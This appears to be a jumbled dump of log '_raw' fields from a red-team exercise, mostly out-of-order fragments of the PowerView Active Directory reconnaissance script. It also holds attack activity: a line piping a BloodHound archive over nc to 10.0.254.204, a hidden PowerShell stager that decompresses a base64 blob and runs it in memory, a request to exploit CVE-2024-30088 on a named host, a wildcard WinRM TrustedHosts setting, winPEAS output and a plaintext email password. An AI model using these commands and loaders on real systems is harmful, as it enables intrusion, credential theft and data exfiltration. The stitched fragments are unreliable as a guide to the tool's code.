_raw: elseif ($PSBoundParameters['PassNotExpired'] -and (($Prop.useraccountcontrol[0] -band 65536) -ne 65536)) {


_raw: foreach ($v in $_.Attributes[$a].GetValues([byte[]])) {


_raw: if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or ($a -eq 'ntsecuritydescriptor') -or ($a -eq 'logonhours')) {


_raw: foreach ($a in $_.Attributes.Keys | Sort-Object) {


_raw: if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) {


_raw: $Results | Where-Object {$_} | ForEach-Object {


_raw: $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "(&(samAccountType=805306368)$Filter)"


_raw: Write-Verbose "[Get-DomainUser] filter string: (&(samAccountType=805306368)$Filter"


_raw: $UACFilter | Where-Object {$_} | ForEach-Object {


_raw: # build the LDAP filter for the dynamic UAC filter value


_raw: Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter"


_raw: Write-Verbose "[Get-DomainUser] Searching for user accounts that have not had a password change for at least $PSBoundParameters['PassLastSet'] days"


_raw: Write-Verbose '[Get-DomainUser] Searching for user accounts that have PASSWD_NOTREQD set'


_raw: Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate'


_raw: Write-Verbose '[Get-DomainUser] Searching for users that are configured to allow resource-based constrained delegation'


_raw: Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals'


_raw: Write-Verbose '[Get-DomainUser] Searching for adminCount=1'


_raw: Write-Verbose '[Get-DomainUser] Searching for users configured for unconstrained delegation'


_raw: Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation'


_raw: # negation of "Accounts that are sensitive and not trusted for delegation"


_raw: Write-Verbose '[Get-DomainUser] Searching for users who can be delegated'


_raw: $MaximumAge = [Int]((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).MaximumPasswordAge


_raw: Write-Verbose "[Get-DomainUser] Getting the maximum password age from the domain policy"


_raw: Write-Verbose '[Get-DomainUser] Searching for users whose passwords never expire'


_raw: Write-Warning '[Get-DomainUser] Password expiry disabled in domain policy, no users will be returned'


_raw: Write-Verbose '[Get-DomainUser] Getting the maximum password age from the domain policy'


_raw: Write-Verbose '[Get-DomainUser] Ignoring users that have passwords to never expire'


_raw: $Duration = ((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).LockoutDuration


_raw: # need to get the lockout duration from the domain policy


_raw: Write-Verbose '[Get-DomainUser] Searching for users who are unlocked'


_raw: Write-Verbose '[Get-DomainUser] Searching for users who are locked'


_raw: # inclusion of "Accounts that are disabled"


_raw: Write-Verbose '[Get-DomainUser] Searching for users who are disabled'


_raw: # negation of "Accounts that are disabled"


_raw: Write-Verbose '[Get-DomainUser] Searching for users who are enabled'


_raw: Write-Verbose '[Get-DomainUser] Searching for non-null service principal names'


_raw: if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {


_raw: Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'"


_raw: $UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))


_raw: $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical


_raw: $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''


_raw: Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'"


_raw: $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'


_raw: # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname


_raw: if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {


_raw: elseif ($IdentityInstance -match '^CN=') {


_raw: $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')


_raw: $Identity | Where-Object {$_} | ForEach-Object {


_raw: New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters


_raw: if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {


_raw: #bind dynamic parameter to a friendly variable


_raw: if ($PSBoundParameters['Credential']) { $PolicyArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $PolicyArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['Server']) { $PolicyArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['Domain']) { $PolicyArguments['Domain'] = $Domain }


_raw: if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate }


_raw: if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }


_raw: if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }


_raw: if ($PSBoundParameters['Owner']) { $SearcherArguments['SecurityMasks'] = 'Owner' }


_raw: if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }


_raw: if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }


_raw: if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }


_raw: if ($PSBoundParameters['Owner']) { $SearcherArguments['Properties'] = '*' }


_raw: if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }


_raw: if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }


_raw: New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])


_raw: $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}


_raw: [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]


_raw: [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]


_raw: [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: The raw DirectoryServices.SearchResult object, if -Raw is enabled.


_raw: Custom PSObject with translated user property fields.


_raw: VERBOSE: [Get-DomainUser] filter string: (&(samAccountType=805306368)(|(samAccountName=user1)))


_raw: VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local


_raw: VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local


_raw: Get-DomainUser dev\user1 -Verbose -Properties distinguishedname


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: Find users who doesn't require Kerberos preauthentication and DON'T have an expired password.


_raw: Search for users with a primary group ID other than 513 ('domain users') and only return samaccountname and lastlogon


_raw: Get-DomainUser -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon


_raw: Search the specified OU for privileged user (AdminCount = 1) that allow delegation


_raw: Get-DomainUser -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -AdminCount -AllowDelegation


_raw: AttributeValue        : CN=Administrator,CN=Users,DC=testlab,DC=local


_raw: ObjectDN              : CN=Enterprise Admins,CN=Users,DC=testlab,DC=local


_raw: 1 CN=Domain System Volume,CN=DFSR-LocalSettings,CN=PRIMARY,OU=Domain Con...


_raw: 2 CN=PRIMARY,CN=Topology,CN=Domain System Volume,CN=DFSR-GlobalSettings,...


_raw: 8 CN=Denied RODC Password Replication Group,CN=Users,DC=testlab,DC=local


_raw: 1 CN=Windows Authorization Access Group,CN=Builtin,DC=testlab,DC=local


_raw: 1 CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=testlab,DC=local


_raw: 1 CN=Group Policy Creator Owners,CN=Users,DC=testlab,DC=local


_raw: Get-DomainObjectLinkedAttributeHistory | Group-Object ObjectDN | ft -a


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Switch. Specifies that the searcher should also return deleted/tombstoned objects.


_raw: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.


_raw: Specifies the PageSize to set for the LDAP searcher object.


_raw: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).


_raw: Specifies an Active Directory server (domain controller) to bind to.


_raw: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"


_raw: Only return replication metadata on the specified property names.


_raw: Specifies an LDAP query string that is used to filter Active Directory objects.


_raw: Specifies the domain to use for the query, defaults to the current domain.


_raw: A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),


_raw: results are parsed from their XML string form and returned as a custom object.


_raw: This is the domain linked attribute value replication metadata associated with the object. The


_raw: Wraps Get-DomainObject with a specification to retrieve the property 'msds-replvaluemetadata'.


_raw: By default, replication data for every domain object is returned.


_raw: specified object, i.e. a parsed version of the msds-replvaluemetadata attribute.


_raw: Returns the Active Directory links attribute value replication metadata for the


_raw: Write-Verbose "[Get-DomainObjectAttributeHistory] Error retrieving 'msds-replattributemetadata' for '$ObjectDN'"


_raw: $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN


_raw: $Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion


_raw: $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange


_raw: $Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName


_raw: $Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN


_raw: if ($TempObject.pszAttributeName -Match $PropertyFilter) {


_raw: $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_ATTR_META_DATA' -ErrorAction SilentlyContinue


_raw: ForEach($XMLNode in $_.Properties['msds-replattributemetadata']) {


_raw: Get-DomainObject @SearcherArguments | ForEach-Object {


_raw: if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }


_raw: $PropertyFilter = $PSBoundParameters['Properties'] -Join '|'


_raw: if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['FindOne']) { $SearcherArguments['FindOne'] = $FindOne }


_raw: if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }


_raw: if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }


_raw: if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }


_raw: if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }


_raw: if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }


_raw: 'Properties'    =   'msds-replattributemetadata','distinguishedname'


_raw: [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]


_raw: [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: Custom PSObject with translated replication metadata fields.


_raw: LastOriginatingDsaDN  : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First


_raw:
 failed with the following error message :
WinRM cannot process the request. The following error with errorcode 0x8009030e occurred while using Kerberos
authentication: A specified logon session does not exist. It may already have been terminated.


_raw: 10.0.1.6     APT-DC-01.allports.local allports.local APT-DC-01


_raw: type C:\Users\Guest\Downloads\20251018153745_BloodHound.zip > nc 10.0.254.204 8003


_raw: powershell -Sta -Nop -Window Hidden -Command "sv o (New-Object IO.MemoryStream);sv d (New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('[encoded data, 7068 characters]'),[IO.Compression.CompressionMode]::Decompress));sv b (New-Object Byte[](1024));sv r (gv d).Value.Read((gv b).Value,0,1024);while((gv r).Value -gt 0){(gv o).Value.Write((gv b).Value,0,(gv r).Value);sv r (gv d).Value.Read((gv b).Value,0,1024);}[Reflection.Assembly]::Load((gv o).Value.ToArray()).EntryPoint.Invoke(0,@(,[string[]]@()))|Out-Null"


_raw:
Good afternoon,
Central-4 is requesting permission to attempt to exploit CVE-2024-30088, which can be found here. (https://nvd.nist.gov/vuln/detail/cve-2024-30088)
The exploit is non-destructive, and requires the attacker to win a race condition on the windows kernel. Using it would allow us to gain further exploitation and conduct further testing. We would like permission to run this exploit on host DECKHAND-02, or 10.0.1.21.
Best,
- Central-4


_raw:
 Use this password for access to your email
tions-SYRACUSE-ALTHOUGH-romantic-straight


_raw:
      Time Created:             10/18/2025 3:22:14 PM

   =================================================================================================
ÉÍÍÍÍÍÍÍÍÍÍ¹ Installed .NET versions

  CLR Versions
   4.0.30319

  .NET Versions
   4.8.04161

  .NET & AMSI (Anti-Malware Scan Interface) support
      .NET version supports AMSI     : True
      OS supports AMSI               : True
        [!] The highest .NET version is enrolled in AMSI!
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¹ Interesting Events information ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
ÉÍÍÍÍÍÍÍÍÍÍ¹ Printing Explicit Credential Events (4648) for last 30 days - A process logged on using plaintext credentials

ÉÍÍÍÍÍÍÍÍÍÍ¹ Printing Account Logon Events (4624) for the last 10 days.

ÉÍÍÍÍÍÍÍÍÍÍ¹ Process creation events - searching logs (EID 4688) for sensitive data.

ÉÍÍÍÍÍÍÍÍÍÍ¹ PowerShell events - script block logs (EID 4104) - searching for sensitive data.

ÉÍÍÍÍÍÍÍÍÍÍ¹ Displaying Power off/on events for last 5 days


_raw: systeminfo | findstr /B /C:"OS Name" /C:"OS Version"


_raw: Set-Item WSMan:localhost\client\trustedhosts -Value *


_raw: lastlogoff                                   samaccountname


_raw: 'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff


_raw: Return the user with the given SID, as well as Administrator.


_raw: Return all users for the testlab.local domain


_raw: Switch. Obfuscate the resulting LDAP filter string using hex encoding.


_raw: Switch. Use SSL for the connection to the LDAP server.


_raw: Switch. Return raw results instead of translating the fields into a custom PSObject.


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Switch. Specifies that the searcher should also return deleted/tombstoned objects.


_raw: One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.


_raw: Specifies an option for examining security information of a directory object.


_raw: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.


_raw: Specifies the PageSize to set for the LDAP searcher object.


_raw: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).


_raw: Specifies an Active Directory server (domain controller) to bind to.


_raw: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"


_raw: Specifies the properties of the output object to retrieve from the server.


_raw: Specifies an LDAP query string that is used to filter Active Directory objects.


_raw: Specifies the domain to use for the query, defaults to the current domain.


_raw: Return the owner information of the user object.


_raw: Return only user accounts that have not had a password change for at least the specified number of days.


_raw: Switch. Return user accounts with PASSWD_NOTREQD set.


_raw: Switch. Return user accounts with "Do not require Kerberos preauthentication" set.


_raw: Switch. Return user accounts that are configured to allow resource-based constrained delegation.


_raw: Switch. Return user accounts that are trusted to authenticate for other principals.


_raw: Switch. Return users configured for unconstrained delegation.


_raw: Switch. Return users whose passwords do not expire.


_raw: Switch. Return user accounts that are marked as 'sensitive and not allowed for delegation'


_raw: Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation'


_raw: Switch. Return users whose password has not expired.


_raw: Switch. Return users whose password has expired.


_raw: Switch. Return users that are currently unlocked.


_raw: Switch. Return users that are currently locked.


_raw: Switch. Return users that are currently disabled.


_raw: Switch. Return users that are currently enabled.


_raw: Switch. Return users with '(adminCount=1)' (meaning are/were privileged).


_raw: "NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.


_raw: Dynamic parameter that accepts one or more values from $UACEnum, including


_raw: Switch. Only return user objects with non-null service principal names.


_raw: Wildcards accepted. Also accepts DOMAIN\user format.


_raw: A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),


_raw: "-Properties samaccountname,usnchanged,...". By default, all user objects for


_raw: matching the criteria. To only return specific properties, use


_raw: LDAP filter based on targeting/filter parameters, and searches for all objects


_raw: Builds a directory searcher object using Get-DomainSearcher, builds a custom


_raw: Required Dependencies: Get-DomainSearcher, Convert-ADName, Convert-LDAPProperty


_raw: Return all users or specific user objects in AD.


_raw: # "net *" replacements and other fun start below


_raw: $Out | Add-Member Noteproperty 'Value' $Object.$ObjectProperty


_raw: $Out | Add-Member Noteproperty 'Property' $ObjectProperty


_raw: $Out | Add-Member Noteproperty 'SamAccountName' $Object.SamAccountName


_raw: if ($ReferenceObjectProperties -NotContains $ObjectProperty) {


_raw: ForEach($ObjectProperty in $ObjectProperties) {


_raw: $ObjectProperties = Get-Member -InputObject $Object -MemberType NoteProperty | Select-Object -Expand Name


_raw: throw "[Find-DomainObjectPropertyOutlier] Invalid class: $ClassName"


_raw: $Objects = Get-DomainComputer @SearcherArguments


_raw: elseif (($ClassName -eq 'Computer') -or ($ReferenceObjectClass -eq 'Computer')) {


_raw: $Objects = Get-DomainGroup @SearcherArguments


_raw: elseif (($ClassName -eq 'Group') -or ($ReferenceObjectClass -eq 'Group')) {


_raw: $Objects = Get-DomainUser @SearcherArguments


_raw: if (($ClassName -eq 'User') -or ($ReferenceObjectClass -eq 'User')) {


_raw: Write-Verbose "[Find-DomainObjectPropertyOutlier] Using the default reference property set for the object class '$ClassName'"


_raw: Write-Verbose "[Find-DomainObjectPropertyOutlier] Calculated ReferenceObjectClass : $ReferenceObjectClass"


_raw: $ReferenceObjectClass = $ReferenceObject.objectclass | Select-Object -Last 1


_raw: $ReferenceObjectProperties = Get-Member -InputObject $ReferenceObject -MemberType NoteProperty | Select-Object -Expand Name


_raw: Write-Verbose "[Find-DomainObjectPropertyOutlier] Extracting property names from -ReferenceObject to use as the reference property set"


_raw: Write-Verbose "[Find-DomainObjectPropertyOutlier] Using specified -ReferencePropertySet"


_raw: if ($PSBoundParameters['Credential']) { $SchemaArguments['Credential'] = $Credential }


_raw: Write-Verbose "[Find-DomainObjectPropertyOutlier] Enumerated forest '$TargetForest' for target domain '$Domain'"


_raw: $TargetForest = Get-Domain -Domain $Domain -Credential $Credential | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name


_raw: $TargetForest = Get-Domain -Domain $Domain | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name


_raw: if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }


_raw: if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }


_raw: if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }


_raw: if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }


_raw: if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }


_raw: [Parameter(ValueFromPipeline = $True, Mandatory = $True, ParameterSetName = 'ReferenceObject')]


_raw: [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ClassName')]


_raw: Custom PSObject with translated object property outliers.


_raw: Enumerates computers in the current domain with 'outlier' properties filled in.


_raw: Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier


_raw: Enumerates groups in the external.local forest/domain with 'outlier' properties filled in.


_raw: Find-DomainObjectPropertyOutlier -ClassName 'Group' -Domain external.local


_raw: Enumerates users in the current domain with 'outlier' properties filled in.


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Switch. Specifies that the searcher should also return deleted/tombstoned objects.


_raw: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.


_raw: Specifies the PageSize to set for the LDAP searcher object.


_raw: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).


_raw: Specifies an Active Directory server (domain controller) to bind to.


_raw: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"


_raw: Specifies an LDAP query string that is used to filter Active Directory objects.


_raw: Specifies the domain to use for the query, defaults to the current domain.


_raw: Specicifes the PowerView user/group/computer object to extract property names


_raw: Specifies an array of property names to diff against the class schema.


_raw: If -ReferenceObject is specified, this will be automatically extracted, if possible.


_raw: Specifies the AD object class to find property outliers for, 'user', 'group', or 'computer'.


_raw: samAccountName, property name, and property value are output to the pipeline.


_raw: 'non-standard' property set (meaning a property not held by the reference set), the object's


_raw: (depending on determined class) are enumerated, and for each object, if the object has a


_raw: from the property names of the passed -ReferenceObject. Every user/group/computer object


_raw: for user/group/computers, or from the array of names passed to -ReferencePropertySet, or


_raw: A 'reference' set of property names is calculated, either from a standard set preserved


_raw: Required Dependencies: Get-Domain, Get-DomainUser, Get-DomainGroup, Get-DomainComputer


_raw: Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation)


_raw: Finds user/group/computer objects in AD that have 'outlier' properties set.


_raw: if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }


_raw: [Parameter(Position = 0, ValueFromPipeline = $True)]


_raw: An ActiveDirectorySchemaClass returned from the found schema.


_raw: Returns the user schema class for the external.local domain using


_raw: Get-ForestSchemaClass -ClassName user -Forest external.local -Credential $Cred


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: Returns the user schema class for the external.local domain.


_raw: Get-ForestSchemaClass -ClassName user -Forest external.local


_raw: Returns all domain schema classes for the external.local forest.


_raw: Returns all domain schema classes for the current forest.


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: The forest to query for the schema, defaults to the current forest.


_raw: Specifies a ActiveDirectorySchemaClass name in the found schema to return.


_raw: result for the specified class name is returned.


_raw: If "-FindClass X" is specified, the [DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass]


_raw: the .FindAllClasses() method is executed, returning a collection of


_raw: Uses Get-Forest to retrieve the current (or specified) forest. By default,


_raw: (or specified) forest or returns just the schema class specified by


_raw: Helper that returns the Active Directory schema classes for the current


_raw: if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }


_raw: [Parameter(Position = 0, ValueFromPipeline = $True)]


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: Specifies the forest name to query for global catalogs.


_raw: and the .FindAllGlobalCatalogs() to enumerate the global catalogs.


_raw: by -Forest X by using Get-Forest to retrieve the specified forest object


_raw: Returns all global catalogs for the current forest or the forest specified


_raw: Return all global catalogs for the current (or specified) forest.


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Specifies the forest name to query for domains.


_raw: Returns all domains for the current forest or the forest specified


_raw: Return all domains for the current (or specified) forest.


_raw: $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid


_raw: $ForestSid = $Parts[0..$($Parts.length-2)] -join '-'


_raw: $ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name).objectsid


_raw: $ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name -Credential $Credential).objectsid


_raw: Write-Verbose "[Get-Forest] The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust: $_"


_raw: $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest)


_raw: Write-Verbose "[Get-Forest] The specified forest '$TargetForest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_"


_raw: $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $TargetForest, $Credential.UserName, $Credential.GetNetworkCredential().Password)


_raw: Write-Verbose "[Get-Forest] Extracted domain '$Forest' from -Credential"


_raw: # if no domain is supplied, extract the logon domain from the PSCredential passed


_raw: Write-Verbose "[Get-Forest] Using alternate credentials for Get-Forest"


_raw: [Parameter(Position = 0, ValueFromPipeline = $True)]


_raw: Outputs a PSObject containing System.DirectoryServices.ActiveDirectory.Forest in addition


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)